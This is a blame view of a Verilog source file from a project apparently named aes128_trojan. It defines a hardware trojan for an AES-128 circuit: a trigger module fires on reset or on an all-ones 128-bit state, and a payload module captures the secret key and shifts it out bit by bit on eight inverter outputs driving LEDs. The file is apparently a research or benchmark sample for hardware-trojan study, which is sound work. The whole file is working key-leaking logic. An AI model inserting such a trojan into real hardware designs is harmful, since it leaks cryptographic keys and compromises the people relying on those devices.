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[/] [aes128_trojan/] [trunk/] [trojan.v] - Blame information for rev 2

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Line No. Rev Author Line
1 2 Excallibur
`timescale 1ns / 1ps
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//////////////////////////////////////////////////////////////////////////////////
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// Company: 
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// Engineer: 
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// 
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// Create Date:    18:18:26 03/08/2013 
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// Design Name: 
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// Module Name:    TSC 
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// Project Name: 
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// Target Devices: 
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// Tool versions: 
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// Description: 
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//
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// Dependencies: 
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//
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// Revision: 
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// Revision 0.01 - File Created
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// Additional Comments: 
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//
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//////////////////////////////////////////////////////////////////////////////////
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module trojan_trigger(
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    input clk,
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    input rst,
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    input [127:0] state,
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    output Tj_Trig1
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    );
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     reg Tj_Trig;
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     reg tempClk1, tempClk2;
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          reg Detected;
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         //wire INV1_out, INV2_out, INV3_out, INV4_out, INV5_out, INV6_out, INV7_out, INV8_out;  //unused version
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         always @(tempClk1, tempClk2)
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         begin
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                Tj_Trig <= tempClk1 | tempClk2;
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         end
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         assign Tj_Trig1 = Tj_Trig;
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         // Tj_Trig is high for two clock cycles
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         always @(posedge clk)      //totcond: rst+tmpclk1+tmpclk2+detected = 4
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         begin
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                if (rst == 0)    begin tempClk1 <= 1; tempClk2 <= 0; end     //Tj_Trig high #1 -> reset  p=0.5
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                else if ((tempClk1 == 1) && (Detected == 1))    begin tempClk1 <= 0; tempClk2 <= 1;      end  //Tj_Trig high #2 -> detected
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                else if ((tempClk1 == 0) && (tempClk2 == 1))     begin tempClk2 <= 0;     end
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                else begin tempClk1 <= 0; tempClk2 <= 0; end
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         end
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         always @(state)
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         begin      //totcond = 128
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                if (state == 128'hFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)       //p(state=0xFF..FF) = 1/2^128
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                        Detected <= 1;
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                else
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                        Detected <= 0;
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         end
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endmodule
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module trojan(
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    input clk,
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    input rst,
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    input Tj_Trig,
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        input [127:0] key,
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        output wire INV1_out, INV2_out, INV3_out, INV4_out, INV5_out, INV6_out, INV7_out, INV8_out //try to light up the LED
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    );
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     reg [127:0] SECRETKey;
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         reg [127:0] COUNTER;
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         reg LEAKBit;
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         always @(rst, clk)
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         begin     //totcond:rst=1
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                        if (rst == 0)    //p=0.5 param: rst  Rcond=1/1=1
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                                COUNTER <= 0;
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                        else             //p=0.5     Rcond=1/1=1
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                                COUNTER <= COUNTER + 1;
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         end
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         always @(posedge Tj_Trig, posedge COUNTER[3]) //real value COUNTER[127]
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         begin         //totalcond: tjtrig=1
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                        if (Tj_Trig == 1)    //p=0.5 param: Tj_Trig     Rcond=1/1=1 
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                                SECRETKey <= key;
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                        else                 //p=0.5 param: Tj_Trig      Rcond=1/1=1
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                                SECRETKey <= SECRETKey >> 1;
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         end
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//     counter
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//         count (clk,clk1);
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         always @ (SECRETKey) //edited for trojan, use clk1
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         begin
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                        LEAKBit <= SECRETKey[0];
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         end
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         assign INV1_out = ~(LEAKBit);
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         assign INV2_out = ~(INV1_out);
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         assign INV3_out = ~(INV1_out);
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         assign INV4_out = ~(INV1_out);
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         assign INV5_out = ~(INV1_out);
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         assign INV6_out = ~(INV1_out);
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         assign INV7_out = ~(INV1_out);
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         assign INV8_out = ~(INV1_out);
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endmodule

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